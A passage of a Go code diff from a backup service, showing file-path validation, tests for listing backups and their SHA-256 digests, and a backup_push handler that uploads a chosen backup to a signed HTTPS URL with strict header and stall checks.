// says which: the path is not one this op takes, or nothing is there.
|
||||
func backupResolveFile(self, root, p string) (string, string) {
|
||||
const rejected = "path rejected (a backup file named <stamp>.tar.zst.age or <stamp>.key.age, in \".\" or a shared folder)"
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" || strings.ContainsRune(p, 0) || strings.Contains(p, "\\") || path.IsAbs(p) {
|
||||
return "", rejected
|
||||
}
|
||||
clean := path.Clean(p)
|
||||
if clean != p && "./"+clean != p {
|
||||
return "", rejected
|
||||
}
|
||||
parts := strings.Split(clean, "/")
|
||||
var dir, name string
|
||||
switch {
|
||||
case len(parts) == 1:
|
||||
dir, name = root, parts[0]
|
||||
case len(parts) == 3 && parts[0] == "shared":
|
||||
for _, s := range sharesFor(self) {
|
||||
if s.Slug == parts[1] {
|
||||
dir = s.Dir
|
||||
}
|
||||
}
|
||||
name = parts[2]
|
||||
default:
|
||||
return "", rejected
|
||||
}
|
||||
if dir == "" || !backupFileRe.MatchString(name) {
|
||||
return "", rejected
|
||||
}
|
||||
if dir != root {
|
||||
if why := sharedFolderProblem(dir); why != "" {
|
||||
return "", "the shared folder " + parts[0] + "/" + parts[1] + " " + why
|
||||
}
|
||||
}
|
||||
// Resolving and checking the file touch the folder, which may be a
|
||||
// network mount: bounded like the listing.
|
||||
var mu sync.Mutex
|
||||
var abs, why string
|
||||
err := opProbe("push:"+dir, func() error {
|
||||
a, w := backupResolveFileIn(dir, name, rejected)
|
||||
mu.Lock()
|
||||
abs, why = a, w
|
||||
mu.Unlock()
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
return "", fmt.Sprintf("the folder of %s does not answer (a network mount that stopped?): %v", p, err)
|
||||
}
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
return abs, why
|
||||
}
|
||||
|
||||
// backupResolveFileIn is the unbounded half of backupResolveFile.
|
||||
func backupResolveFileIn(dir, name, rejected string) (string, string) {
|
||||
abs, ok := backupResolvePathFn(dir, name)
|
||||
if !ok {
|
||||
return "", rejected
|
||||
}
|
||||
fi, err := os.Lstat(abs)
|
||||
if err != nil || !fi.Mode().IsRegular() {
|
||||
return "", "no backup file at that path"
|
||||
}
|
||||
return abs, ""
|
||||
}
|
||||
|
||||
// backupResolvePathFn is dcnResolvePath; a test replaces it with one that
|
||||
// blocks.
|
||||
var backupResolvePathFn = dcnResolvePath
|
||||
|
||||
// mgmtSelf is the pairing this management job came from ("" for an
|
||||
// anonymous caller, which has no shares).
|
||||
func mgmtSelf(ws *websocket.Conn) string {
|
||||
if a := mgmtAccountOf(ws); a != nil {
|
||||
return a.self
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package main
|
||||
|
||||
// Gate: backup_list tells a host which backups this machine holds for it —
|
||||
// its own folder and the folders the person shared with it — with the
|
||||
// digests backup_push needs, and never reads a file inside the dispatch.
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func listVia(t *testing.T, root string) []backupListEntry {
|
||||
t.Helper()
|
||||
return listViaAs(t, "", root)
|
||||
}
|
||||
|
||||
func listViaAs(t *testing.T, self, root string) []backupListEntry {
|
||||
t.Helper()
|
||||
out, errOut, code := driveBackupOpAs(t, self, "backup_list", "", root, map[string]string{"op": "list"})
|
||||
if code != 0 {
|
||||
t.Fatalf("list exited %d: %s", code, errOut)
|
||||
}
|
||||
var reply struct {
|
||||
Backups []backupListEntry `json:"backups"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(out), &reply); err != nil || reply.Backups == nil {
|
||||
t.Fatalf("list reply: %v %s", err, out)
|
||||
}
|
||||
return reply.Backups
|
||||
}
|
||||
|
||||
func sha(b []byte) string {
|
||||
s := sha256.Sum256(b)
|
||||
return hex.EncodeToString(s[:])
|
||||
}
|
||||
|
||||
// holdHashing replaces the hashing job's reader with one that waits until
|
||||
// released, and counts the files it was asked to read.
|
||||
func holdHashing(t *testing.T) (release func(), calls *int) {
|
||||
t.Helper()
|
||||
gate := make(chan struct{})
|
||||
n := 0
|
||||
prev := hashFileFn
|
||||
hashFileFn = func(p string) (string, int64, error) {
|
||||
hashMu.Lock()
|
||||
n++
|
||||
hashMu.Unlock()
|
||||
<-gate
|
||||
return hashFile(p)
|
||||
}
|
||||
var once bool
|
||||
release = func() {
|
||||
if !once {
|
||||
once = true
|
||||
close(gate)
|
||||
}
|
||||
}
|
||||
t.Cleanup(func() { release(); hashFileFn = prev })
|
||||
return release, &n
|
||||
}
|
||||
|
||||
func awaitListed(t *testing.T, root string, ok func([]backupListEntry) bool) []backupListEntry {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(10 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if l := listBackups("", root); ok(l) {
|
||||
return l
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("the listing never showed what was expected")
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestBackupListShowsTheBackupsAtTheTopOfTheFolder(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
data := []byte("data of the backup")
|
||||
side := []byte("sidecar")
|
||||
_ = os.WriteFile(filepath.Join(root, fixtureStamp+".tar.zst.age"), data, 0o600)
|
||||
_ = os.WriteFile(filepath.Join(root, fixtureStamp+".key.age"), side, 0o600)
|
||||
_ = os.WriteFile(filepath.Join(root, "20260101T000000Z.key.age"), side, 0o600)
|
||||
_ = os.WriteFile(filepath.Join(root, "notes.txt"), []byte("mine"), 0o600)
|
||||
_ = os.MkdirAll(filepath.Join(root, "sub"), 0o700)
|
||||
_ = os.WriteFile(filepath.Join(root, "sub", "20260201T000000Z.tar.zst.age"), data, 0o600)
|
||||
_ = os.Symlink(filepath.Join(root, fixtureStamp+".tar.zst.age"), filepath.Join(root, "20260301T000000Z.tar.zst.age"))
|
||||
|
||||
l := listVia(t, root)
|
||||
if len(l) != 2 || l[0].Stamp != fixtureStamp || l[1].Stamp != "20260101T000000Z" {
|
||||
t.Fatalf("listed %+v", l)
|
||||
}
|
||||
e := l[0]
|
||||
if e.Folder != "." || !e.HasData || !e.HasSidecar || e.DataBytes != int64(len(data)) || e.SidecarBytes != int64(len(side)) {
|
||||
t.Fatalf("entry %+v", e)
|
||||
}
|
||||
if l[1].HasData || !l[1].HasSidecar || l[1].DataBytes != 0 {
|
||||
t.Fatalf("a sidecar alone reads %+v", l[1])
|
||||
}
|
||||
l = awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 != "" && l[0].SidecarSHA256 != "" })
|
||||
if l[0].DataSHA256 != sha(data) || l[0].SidecarSHA256 != sha(side) {
|
||||
t.Fatalf("digests %+v", l[0])
|
||||
}
|
||||
}
|
||||
|
||||
// A listing never waits for a file to be read: an unknown digest is "" and
|
||||
// one background job reads it; the digest appears on a later listing.
|
||||
func TestBackupListNeverWaitsForHashing(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
data := []byte("a large backup, as far as this test is concerned")
|
||||
_ = os.WriteFile(filepath.Join(root, fixtureData), data, 0o600)
|
||||
release, calls := holdHashing(t)
|
||||
|
||||
done := make(chan []backupListEntry, 1)
|
||||
go func() { done <- listBackups("", root) }()
|
||||
select {
|
||||
case l := <-done:
|
||||
if len(l) != 1 || l[0].DataSHA256 != "" {
|
||||
t.Fatalf("listed %+v", l)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("the listing waited for the file to be hashed")
|
||||
}
|
||||
// Listing again while the job is reading the file starts no second read.
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
for {
|
||||
hashMu.Lock()
|
||||
n := *calls
|
||||
hashMu.Unlock()
|
||||
if n == 1 {
|
||||
break
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatal("the hashing job never started")
|
||||
}
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
}
|
||||
_ = listBackups("", root)
|
||||
release()
|
||||
l := awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 != "" })
|
||||
if l[0].DataSHA256 != sha(data) {
|
||||
t.Fatal("wrong digest")
|
||||
}
|
||||
hashMu.Lock()
|
||||
n := *calls
|
||||
hashMu.Unlock()
|
||||
if n != 1 {
|
||||
t.Fatalf("the file was read %d times", n)
|
||||
}
|
||||
}
|
||||
|
||||
// A digest is known only for the file it was taken of: a new size or
|
||||
// modification time makes it unknown again, and the new one is read.
|
||||
func TestBackupListDigestFollowsTheFile(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
p := filepath.Join(root, fixtureData)
|
||||
_ = os.WriteFile(p, []byte("first"), 0o600)
|
||||
awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 == sha([]byte("first")) })
|
||||
|
||||
_ = os.WriteFile(p, []byte("second, longer"), 0o600)
|
||||
if l := listBackups("", root); l[0].DataSHA256 != "" {
|
||||
t.Fatalf("a changed size kept the old digest: %s", l[0].DataSHA256)
|
||||
}
|
||||
awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 == sha([]byte("second, longer")) })
|
||||
|
||||
// Same size, new time.
|
||||
_ = os.WriteFile(p, []byte("third, longer!"), 0o600)
|
||||
later := time.Now().Add(time.Hour)
|
||||
_ = os.Chtimes(p, later, later)
|
||||
if l := listBackups("", root); l[0].DataSHA256 != "" {
|
||||
t.Fatalf("a changed modification time kept the old digest: %s", l[0].DataSHA256)
|
||||
}
|
||||
awaitListed(t, root, func(l []backupListEntry) bool { return l[0].DataSHA256 == sha([]byte("third, longer!")) })
|
||||
}
|
||||
|
||||
// What this bastion fetched is listed with the digest it recorded, without
|
||||
// reading the file.
|
||||
func TestBackupListUsesTheRecordOfWhatArrived(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
data := []byte("fetched earlier")
|
||||
_ = os.WriteFile(filepath.Join(root, fixtureData), data, 0o600)
|
||||
if err := recordArrival(root, fixtureData, sha(data), time.Now()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hashMu.Lock()
|
||||
hashCache = map[string]hashEntry{} // as after a restart
|
||||
hashMu.Unlock()
|
||||
_, calls := holdHashing(t)
|
||||
if l := listBackups("", root); l[0].DataSHA256 != sha(data) {
|
||||
t.Fatalf("the recorded digest was not used: %+v", l[0])
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
hashMu.Lock()
|
||||
n := *calls
|
||||
hashMu.Unlock()
|
||||
if n != 0 {
|
||||
t.Fatal("a recorded file was read to hash it")
|
||||
}
|
||||
}
|
||||
|
||||
// A folder shared with a pairing is listed for that pairing, under
|
||||
// shared/<name>; not for another, not for an anonymous caller, and not once
|
||||
// taken back.
|
||||
func TestBackupListShowsOnlyFoldersSharedWithThisHost(t *testing.T) {
|
||||
lost := t.TempDir()
|
||||
_ = os.WriteFile(filepath.Join(lost, fixtureData), []byte("the lost host's"), 0o600)
|
||||
const newHost, other = "new.host.privatae.ai", "other.host.privatae.ai"
|
||||
root := t.TempDir()
|
||||
s, err := addBackupShare(newHost, root, lost, "Old Host.example")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if s.Slug != "old-host.example" || strings.ContainsAny(s.Slug, "/ ") {
|
||||
t.Fatalf("slug %q", s.Slug)
|
||||
}
|
||||
if _, err := addBackupShare(newHost, root, lost, "again"); err == nil {
|
||||
t.Fatal("the same folder was shared twice")
|
||||
}
|
||||
if _, err := addBackupShare("", root, t.TempDir(), "nobody"); err == nil {
|
||||
t.Fatal("a folder was shared with no host")
|
||||
}
|
||||
if _, err := addBackupShare(newHost, root, root, "self"); err == nil {
|
||||
t.Fatal("a host's own folder was shared with it")
|
||||
}
|
||||
l := listViaAs(t, newHost, root)
|
||||
if len(l) != 1 || l[0].Folder != "shared/"+s.Slug {
|
||||
t.Fatalf("listed %+v", l)
|
||||
}
|
||||
if l := listViaAs(t, other, t.TempDir()); len(l) != 0 {
|
||||
t.Fatalf("a pairing it was not shared with lists %+v", l)
|
||||
}
|
||||
if l := listViaAs(t, "", root); len(l) != 0 {
|
||||
t.Fatalf("an anonymous caller with the same folder lists %+v", l)
|
||||
}
|
||||
if err := dropBackupShare(newHost, s.Slug); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if l := listViaAs(t, newHost, root); len(l) != 0 {
|
||||
t.Fatalf("a folder taken back is still listed: %+v", l)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,545 @@
|
||||
package main
|
||||
|
||||
// backuppush.go — backup_push: send a backup this machine holds to a
|
||||
// short-lived signed upload URL the host hands over.
|
||||
//
|
||||
// This is the way back for a backup that exists only here: a host being
|
||||
// restored cannot reach this machine's disk, so it asks for the one backup
|
||||
// file it needs to be put where it can fetch it. The file is ciphertext a
|
||||
// host wrote (only a registered key, or a one-backup key resealed with the
|
||||
// person's approval, opens it), so this is standing work under the backup
|
||||
// folder the person configured here, like backup_fetch.
|
||||
//
|
||||
// What it refuses, each for the same reason as backup_fetch:
|
||||
// - any file that is not named like a backup (<stamp>.tar.zst.age or
|
||||
// <stamp>.key.age), not directly inside this pairing's backup folder or a
|
||||
// folder the person shared with it (backuplist.go), reached through a link
|
||||
// that leaves that folder, or itself a link;
|
||||
// - a file whose sha256 is not the one the host named — the host must say
|
||||
// which bytes it wants, and gets exactly those;
|
||||
// - any URL that is not https or resolves to this machine or its network
|
||||
// (validateBackupURL), checked again at the address actually dialled.
|
||||
//
|
||||
// HEADERS. The upload URL comes with the headers its signature covers
|
||||
// (`headers`, as the platform's backup.put_url returns them). The platform
|
||||
// signs exactly one: If-None-Match: *, so the storage refuses to write over an
|
||||
// object that is there; without it the storage answers 403. That header, with
|
||||
// that value, is the only one a host may hand over (the name in any case);
|
||||
// every other name, and any other value, is refused at start, so the host
|
||||
// cannot put anything else on this machine's request. No headers at all is
|
||||
// refused too: the platform always hands the header over, so a start without
|
||||
// it comes from a broken or tampered host.
|
||||
//
|
||||
// `start` answers at once: the file is hashed and checked in the background
|
||||
// job, before anything is sent, because reading gigabytes does not fit in one
|
||||
// dispatch. The host polls `status`, which answers only for jobs this pairing
|
||||
// started. No reply or job error quotes the signed URL's query.
|
||||
//
|
||||
// A DEAD MOUNT. A job whose file stops answering fails at backupPushFileStall,
|
||||
// but the read it was in cannot be stopped: it keeps a goroutine, an OS thread
|
||||
// and the open file until the mount answers or goes away. Pushes and the
|
||||
// background hashing keep their reads in one record (backupReads,
|
||||
// backupstate.go): a start in a folder with a read of either that has not
|
||||
// returned is refused with a sentence until it does, and the whole bastion
|
||||
// keeps at most backupReadsMax reads of both.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// backupPushReq is the host's ask, in the same shape as backup_fetch's: one
|
||||
// JSON argument, {"op":"start",...} or {"op":"status","job_id":...}. `path`
|
||||
// is relative to the backup folder.
|
||||
type backupPushReq struct {
|
||||
Op string `json:"op"` // start | status
|
||||
JobID string `json:"job_id"`
|
||||
Path string `json:"path"`
|
||||
URL string `json:"url"`
|
||||
SHA256 string `json:"sha256"`
|
||||
// Headers the upload URL was signed with, sent on the PUT as given.
|
||||
Headers map[string]string `json:"headers"`
|
||||
}
|
||||
|
||||
// backupPushAllowedHeaders is every header a host may hand over with an
|
||||
// upload URL, with the one value each may have: what the platform's
|
||||
// backup.put_url signs into the URL. A change there is a change here.
|
||||
var backupPushAllowedHeaders = map[string]string{"If-None-Match": "*"}
|
||||
|
||||
// backupPushHeaders checks the headers a host hands over with an upload URL
|
||||
// against backupPushAllowedHeaders and returns them ready to send.
|
||||
func backupPushHeaders(in map[string]string) (http.Header, error) {
|
||||
if len(in) == 0 {
|
||||
return nil, fmt.Errorf("no headers came with the upload address; the platform signs " +
|
||||
"If-None-Match: * into every one and hands it over, so the host that asked is broken or not the platform's")
|
||||
}
|
||||
h := http.Header{}
|
||||
for k, v := range in {
|
||||
ck := http.CanonicalHeaderKey(k)
|
||||
want, ok := backupPushAllowedHeaders[ck]
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("header %q is not one an upload address is signed with (only If-None-Match: *)", clip(k, 64))
|
||||
}
|
||||
if v != want {
|
||||
return nil, fmt.Errorf("header %s must be %q, not %q", ck, want, clip(v, 64))
|
||||
}
|
||||
h.Set(ck, v)
|
||||
}
|
||||
return h, nil
|
||||
}
|
||||
|
||||
// clip is s cut to at most n bytes, for quoting what a host sent.
|
||||
func clip(s string, n int) string {
|
||||
if len(s) <= n {
|
||||
return s
|
||||
}
|
||||
return s[:n] + "..."
|
||||
}
|
||||
|
||||
type backupPushJob struct {
|
||||
ID string `json:"id"`
|
||||
Path string `json:"path"`
|
||||
Bytes int64 `json:"bytes"`
|
||||
SHA256 string `json:"sha256"`
|
||||
State string `json:"state"` // pending | done | failed
|
||||
Error string `json:"error,omitempty"`
|
||||
Started string `json:"started_at"`
|
||||
Finished string `json:"finished_at,omitempty"`
|
||||
root string
|
||||
done time.Time
|
||||
headers http.Header // sent on the PUT (backupPushHeaders)
|
||||
}
|
||||
|
||||
// A finished push is forgotten after this long; the host reads the outcome
|
||||
// within a poll or two.
|
||||
const backupPushKeep = 24 * time.Hour
|
||||
|
||||
var backupPushJobs = map[string]*backupPushJob{}
|
||||
|
||||
// backupPushFileStall bounds one operation on the file being pushed (a stat,
|
||||
// the open, one read). A backup folder on a network mount that stopped
|
||||
// answering can leave a read that never returns; past the bound the job fails
|
||||
// with a sentence and its upload is stopped, instead of staying pending. It
|
||||
// bounds a stall, not a big file: reads that keep returning never trip it, and
|
||||
// neither does a slow upload (no file read is in flight while the network
|
||||
// takes the bytes).
|
||||
//
|
||||
// backupPushRead is one read of the file being pushed; a test replaces it with
|
||||
// one that never returns. Both are read under backupPushHookMu.
|
||||
var (
|
||||
backupPushHookMu sync.Mutex
|
||||
backupPushFileStall = 2 * time.Minute
|
||||
backupPushRead = func(f *os.File, p []byte) (int, error) { return f.Read(p) }
|
||||
)
|
||||
|
||||
// ── one file operation per folder at a time ────────────────────────────────
|
||||
//
|
||||
// Every operation of a push on its file (a stat, the open, a read) holds its
|
||||
// folder's push slot in backupReads (backupstate.go) while it runs, and counts
|
||||
// toward backupReadsMax. Operations are short, so pushes from one folder, or
|
||||
// from many, barely wait on each other. An operation that never returns keeps
|
||||
// its slot until it does: a push behind it waits no longer than its bound and
|
||||
// then fails with a sentence naming what it waited on, without an operation
|
||||
// of its own, so a dead mount holds one stuck push read however often a push
|
||||
// is started there. The slot is freed when the operation returns.
|
||||
|
||||
// pushStallBound is backupPushFileStall, read under backupPushHookMu.
|
||||
func pushStallBound() time.Duration {
|
||||
backupPushHookMu.Lock()
|
||||
defer backupPushHookMu.Unlock()
|
||||
return backupPushFileStall
|
||||
}
|
||||
|
||||
// pushSlotWait is a push that waited past its bound for a slot to read its
|
||||
// file; the error is the sentence the job fails with.
|
||||
type pushSlotWait struct{ why string }
|
||||
|
||||
func (e *pushSlotWait) Error() string { return e.why }
|
||||
|
||||
// pushSlotTake takes dir's push slot for one operation on rel, a file in dir.
|
||||
// It waits while dir's push slot is held, while dir's hashing read is stuck,
|
||||
// or while backupReadsMax reads are in flight; for at most pushBound, then it
|
||||
// returns a *pushSlotWait saying which; and not past ctx.
|
||||
func pushSlotTake(ctx context.Context, dir, rel string, pushBound, hashBound time.Duration) error {
|
||||
timer := time.NewTimer(pushBound)
|
||||
defer timer.Stop()
|
||||
late := false
|
||||
for {
|
||||
backupReadMu.Lock()
|
||||
now := time.Now()
|
||||
r := backupReads[dir]
|
||||
_, stuck := folderStuckLocked(dir, now, pushBound, hashBound)
|
||||
here := r != nil && !r.push.IsZero()
|
||||
inFlight := readsInFlightLocked()
|
||||
if !here && !stuck && inFlight < backupReadsMax {
|
||||
if r == nil {
|
||||
r = &folderReads{}
|
||||
backupReads[dir] = r
|
||||
}
|
||||
r.push = now
|
||||
backupReadMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
if late {
|
||||
why, ok := folderStuckLocked(dir, now, pushBound, hashBound)
|
||||
backupReadMu.Unlock()
|
||||
if !ok && here {
|
||||
why = "an earlier push"
|
||||
}
|
||||
msg := fmt.Sprintf("this push waited more than %s for a turn to read its file: ", pushBound)
|
||||
if why != "" {
|
||||
msg += folderRefusal(rel, why)
|
||||
} else {
|
||||
msg += capRefusal(inFlight)
|
||||
}
|
||||
return &pushSlotWait{msg}
|
||||
}
|
||||
freed := backupReadFreed
|
||||
backupReadMu.Unlock()
|
||||
select {
|
||||
case <-freed:
|
||||
case <-timer.C:
|
||||
late = true
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func folderRefusal(rel, what string) string {
|
||||
return fmt.Sprintf("the folder of %s has not answered %s (a network mount that stopped?); "+
|
||||
"nothing more is sent from that folder until it answers", rel, what)
|
||||
}
|
||||
|
||||
func capRefusal(n int) string {
|
||||
return fmt.Sprintf("%d reads of backup folders have not returned (network mounts that stopped?); "+
|
||||
"no push starts on this machine until one does", n)
|
||||
}
|
||||
|
||||
// pushSlotRefusal is why a push of rel, a file in dir, may not start now, or
|
||||
// "" when it may: a read of dir (a push's or the hashing job's) has been in
|
||||
// flight past its bound, or backupReadsMax reads have.
|
||||
func pushSlotRefusal(dir, rel string, pushBound, hashBound time.Duration) string {
|
||||
now := time.Now()
|
||||
backupReadMu.Lock()
|
||||
defer backupReadMu.Unlock()
|
||||
if what, stuck := folderStuckLocked(dir, now, pushBound, hashBound); stuck {
|
||||
return folderRefusal(rel, what)
|
||||
}
|
||||
if n := stuckReadsLocked(now, pushBound, hashBound); n >= backupReadsMax {
|
||||
return capRefusal(n)
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// fileWatch records since when an operation on the pushed file has been in
|
||||
// flight (zero when none is). The wait for its folder's slot before it is not
|
||||
// an operation on the file, and is bounded on its own (pushSlotTake).
|
||||
type fileWatch struct {
|
||||
mu sync.Mutex
|
||||
since time.Time
|
||||
ctx context.Context
|
||||
job *backupPushJob
|
||||
dir string
|
||||
pushBound time.Duration
|
||||
hashBound time.Duration
|
||||
}
|
||||
|
||||
// do runs f holding the folder's slot. It returns an error, without running
|
||||
// f, when the job ended while it waited for the slot, or when the wait
|
||||
// outlasted its bound; then the job fails with the sentence of why.
|
||||
func (w *fileWatch) do(f func()) error {
|
||||
if err := pushSlotTake(w.ctx, w.dir, w.job.Path, w.pushBound, w.hashBound); err != nil {
|
||||
var late *pushSlotWait
|
||||
if errors.As(err, &late) {
|
||||
finishPush(w.job, "failed", late.why)
|
||||
}
|
||||
return err
|
||||
}
|
||||
defer backupReadFree(w.dir, false)
|
||||
w.mu.Lock()
|
||||
w.since = time.Now()
|
||||
w.mu.Unlock()
|
||||
defer func() {
|
||||
w.mu.Lock()
|
||||
w.since = time.Time{}
|
||||
w.mu.Unlock()
|
||||
}()
|
||||
f()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *fileWatch) stuckFor(now time.Time) time.Duration {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
if w.since.IsZero() {
|
||||
return 0
|
||||
}
|
||||
return now.Sub(w.since)
|
||||
}
|
||||
|
||||
// watchedFile reads the pushed file under the watch.
|
||||
type watchedFile struct {
|
||||
f *os.File
|
||||
w *fileWatch
|
||||
read func(*os.File, []byte) (int, error)
|
||||
}
|
||||
|
||||
func (r watchedFile) Read(p []byte) (n int, err error) {
|
||||
if e := r.w.do(func() { n, err = r.read(r.f, p) }); e != nil {
|
||||
return 0, e
|
||||
}
|
||||
return n, err
|
||||
}
|
||||
|
||||
func handleBackupPush(ws *websocket.Conn, root string, args []string) {
|
||||
if len(args) < 1 {
|
||||
backupFail(ws, "backup_push: need a JSON argument")
|
||||
return
|
||||
}
|
||||
var req backupPushReq
|
||||
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
|
||||
backupFail(ws, "backup_push: argument is not JSON: "+err.Error())
|
||||
return
|
||||
}
|
||||
switch req.Op {
|
||||
case "status":
|
||||
backupJobsMu.Lock()
|
||||
j, ok := backupPushJobs[req.JobID]
|
||||
var snap backupPushJob
|
||||
if ok {
|
||||
snap = *j
|
||||
}
|
||||
backupJobsMu.Unlock()
|
||||
// Another pairing's job reads exactly as a job this bastion never had.
|
||||
if !ok || snap.root != root {
|
||||
backupOK(ws, map[string]string{"job_id": req.JobID, "state": "unknown"})
|
||||
return
|
||||
}
|
||||
out := map[string]string{"job_id": snap.ID, "state": snap.State}
|
||||
if snap.Error != "" {
|
||||
out["error"] = snap.Error
|
||||
}
|
||||
backupOK(ws, out)
|
||||
case "start", "":
|
||||
backupPushStart(ws, root, req)
|
||||
default:
|
||||
backupFail(ws, "backup_push: unknown op "+req.Op)
|
||||
}
|
||||
}
|
||||
|
||||
func backupPushStart(ws *websocket.Conn, root string, req backupPushReq) {
|
||||
abs, why := backupResolveFile(mgmtSelf(ws), root, req.Path)
|
||||
if why != "" {
|
||||
backupFail(ws, "backup_push: "+why)
|
||||
return
|
||||
}
|
||||
if _, err := hex.DecodeString(req.SHA256); err != nil || len(req.SHA256) != 64 {
|
||||
backupFail(ws, "backup_push: sha256 must be 64 hex characters")
|
||||
return
|
||||
}
|
||||
if err := validateBackupURL(req.URL); err != nil {
|
||||
backupFail(ws, "backup_push: "+err.Error())
|
||||
return
|
||||
}
|
||||
headers, err := backupPushHeaders(req.Headers)
|
||||
if err != nil {
|
||||
backupFail(ws, "backup_push: "+err.Error())
|
||||
return
|
||||
}
|
||||
if why := pushSlotRefusal(filepath.Dir(abs), req.Path, pushStallBound(), hashBound()); why != "" {
|
||||
backupFail(ws, "backup_push: "+why)
|
||||
return
|
||||
}
|
||||
now := time.Now()
|
||||
job := &backupPushJob{ID: newBackupJobID("bp"), Path: req.Path, SHA256: strings.ToLower(req.SHA256),
|
||||
State: "pending", Started: now.UTC().Format(time.RFC3339), root: root, headers: headers}
|
||||
backupJobsMu.Lock()
|
||||
for id, j := range backupPushJobs {
|
||||
if !j.done.IsZero() && now.Sub(j.done) > backupPushKeep {
|
||||
delete(backupPushJobs, id)
|
||||
}
|
||||
}
|
||||
backupPushJobs[job.ID] = job
|
||||
backupJobsMu.Unlock()
|
||||
go runBackupPush(job, req.URL, abs)
|
||||
backupOK(ws, map[string]string{"job_id": job.ID, "state": "pending"})
|
||||
}
|
||||
|
||||
// finishPush records the outcome of a push job. The first outcome stands:
|
||||
// a read that returns after the job was failed for not returning changes
|
||||
// nothing.
|
||||
func finishPush(job *backupPushJob, state, msg string) {
|
||||
backupJobsMu.Lock()
|
||||
defer backupJobsMu.Unlock()
|
||||
if job.State != "pending" {
|
||||
return
|
||||
}
|
||||
job.State, job.Error = state, redactURLs(msg)
|
||||
job.done = time.Now()
|
||||
job.Finished = job.done.UTC().Format(time.RFC3339)
|
||||
}
|
||||
|
||||
// runBackupPush runs the push and watches its file: when an operation on the
|
||||
// file has not returned within backupPushFileStall, the job fails and the
|
||||
// upload is stopped. A stuck operation cannot be stopped; it keeps its
|
||||
// folder's slot until it returns by itself. A wait for the slot is not an
|
||||
// operation on the file; it fails the job on its own bound (fileWatch.do).
|
||||
func runBackupPush(job *backupPushJob, rawURL, abs string) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), backupFetchTimeout)
|
||||
defer cancel()
|
||||
backupPushHookMu.Lock()
|
||||
bound, read := backupPushFileStall, backupPushRead
|
||||
backupPushHookMu.Unlock()
|
||||
w := &fileWatch{ctx: ctx, job: job, dir: filepath.Dir(abs), pushBound: bound, hashBound: hashBound()}
|
||||
done := make(chan struct{})
|
||||
go func() {
|
||||
defer close(done)
|
||||
pushFile(ctx, job, rawURL, abs, w, read)
|
||||
}()
|
||||
every := bound / 4
|
||||
if every < 10*time.Millisecond {
|
||||
every = 10 * time.Millisecond
|
||||
}
|
||||
tick := time.NewTicker(every)
|
||||
defer tick.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-done:
|
||||
return
|
||||
case now := <-tick.C:
|
||||
if w.stuckFor(now) > bound {
|
||||
finishPush(job, "failed", fmt.Sprintf("the backup folder stopped answering: an operation on the file "+
|
||||
"did not return within %s (a network mount that stopped?); the upload was stopped", bound))
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func pushFile(ctx context.Context, job *backupPushJob, rawURL, abs string, w *fileWatch,
|
||||
read func(*os.File, []byte) (int, error)) {
|
||||
finish := func(state, msg string) { finishPush(job, state, msg) }
|
||||
var before os.FileInfo
|
||||
var err error
|
||||
if e := w.do(func() { before, err = os.Lstat(abs) }); e != nil {
|
||||
finish("failed", e.Error())
|
||||
return
|
||||
}
|
||||
if err != nil || !before.Mode().IsRegular() {
|
||||
finish("failed", "no backup file at that path")
|
||||
return
|
||||
}
|
||||
var f *os.File
|
||||
if e := w.do(func() { f, err = os.Open(abs) }); e != nil {
|
||||
finish("failed", e.Error())
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
finish("failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer f.Close()
|
||||
// What was opened is what was checked: a link put in its place between
|
||||
// the check and the open is a different file, and is refused.
|
||||
var fi os.FileInfo
|
||||
if e := w.do(func() { fi, err = f.Stat() }); e != nil {
|
||||
finish("failed", e.Error())
|
||||
